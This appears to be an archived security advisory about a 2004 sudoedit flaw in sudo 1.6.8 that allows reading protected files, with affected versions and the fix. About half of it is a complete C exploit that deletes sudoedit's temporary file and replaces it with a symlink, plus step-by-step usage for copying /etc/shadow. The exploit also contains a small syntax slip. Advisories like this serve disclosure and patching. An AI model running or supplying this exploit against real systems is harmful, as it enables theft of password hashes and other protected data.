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Sudo -u Parameter File Exposure
------------------------------------------------------------------------
SUMMARY
<http://www.sudo.ws/sudo/sudo.html> Sudo (superuser do) allows a system
administrator to give certain users (or groups of users) the ability to
run some (or all) commands as root or another user while logging the
commands and arguments.
A flaw in exists in sudo's -u option (aka sudoedit) that can give an
attacker read permission to a file that would otherwise be unreadable.
DETAILS
Vulnerable Systems:
* sudo 1.6.8 and prior
Immune Systems:
* sudo version 1.6.8p1 and newer
While sudoedit runs the actual editor as the invoking user, the temporary
file is then re-opened with root privileges. An attacker can run sudoedit,
remove the editor temporary file, make a link to an unreadable file with
the same name as the old temporary file and quit the editor. The file
being edited via sudoedit will now contain a copy of the previously
unreadable file.
Impact:
Exploitation of the bug requires that the sudoers file be configured to
allow the attacker to run sudoedit. If no users have been granted access
to sudoedit there is no impact.
Fix:
The bug is fixed in sudo 1.6.8p1.
Exploit:
/*
Copyright Rosiello Security 2004
http://www.rosiello.org
sudoedit Exploit
SOFTWARE : sudoedit
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004
Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.
Sudo versions affected:
1.6.8 only
Credit:
Reznic Valery discovered the problem.
-----------------------------------------------------------
All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.
!Respect the law!
How do I use this code ?
To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.
EXAMPLE SCENARIO:
1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.
The file "rosiello" is now a copy of "/etc/shadow".
AUTHOR : Angelo Rosiello
CONTACT: angelo@rosiello.org
*/
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <dirent.h>
int main( int argc, char *argv[] )
{
char PATH[]="/usr/tmp";
char file[32];
DIR *tmp;
struct dirent *de;
int found = 0;
printf( "Copyright Rosiello Security 2004\n" );
printf( "http://www.rosiello.org\n"; );
if( argc!=2 )
{
printf( "USAGE: %s file\n", argv[0] );
return( -1 );
}
tmp = opendir ( PATH );
while ( !found && (de = readdir ( tmp ))!= NULL )
{
if ( (strstr(de->d_name, "rosiello") != NULL) )
{
if( strlen(de->d_name) > 22 ) return( -1 );
sprintf( file, "%s/%s", PATH, (char *)de->d_name );
remove( file );
if( fork()!=0 )
{
execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
}
wait( );
printf( "Now you can close sudoedit and reopen rosiello!\n" );
found=1;
}
}
closedir( tmp );
if( !found )
printf( "File Not Found!\n" );
return( 0 );
}
ADDITIONAL INFORMATION
The information has been provided by Reznic Valery.
The exploit code has been provided by <mailto:angelo@rosiello.org> Angelo
Rosiello.
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